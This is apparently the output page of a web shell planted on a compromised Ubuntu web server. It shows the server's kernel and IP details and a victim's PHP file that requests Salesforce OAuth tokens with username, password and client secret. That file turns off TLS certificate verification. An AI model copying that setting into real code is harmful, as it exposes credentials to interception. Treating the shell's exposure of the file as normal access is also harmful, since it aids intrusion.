0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.146.176.191


Current Path : /proc/thread-self/root/var/www/html/sjbitapi/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/sjbitapi/src/genToken.php

<?php

function getToken($client_id,$client_secret,$username,$password,$grant_type)
{ 
	
    $data = array(
        'client_id'=> "$client_id",
        'client_secret'=> $client_secret,
        'username'=>$username,
        'password'=> $password,
        'grant_type'=> $grant_type
    );
    

    $ch = curl_init();
    curl_setopt( $ch,CURLOPT_URL, "https://login.salesforce.com/services/oauth2/token");
    curl_setopt( $ch,CURLOPT_POST, true );
    curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
    curl_setopt( $ch,CURLOPT_POSTFIELDS, $data  );
    $result2 = curl_exec($ch);
    //var_dump($result2);
    curl_close( $ch );
    return $result2;
}

?>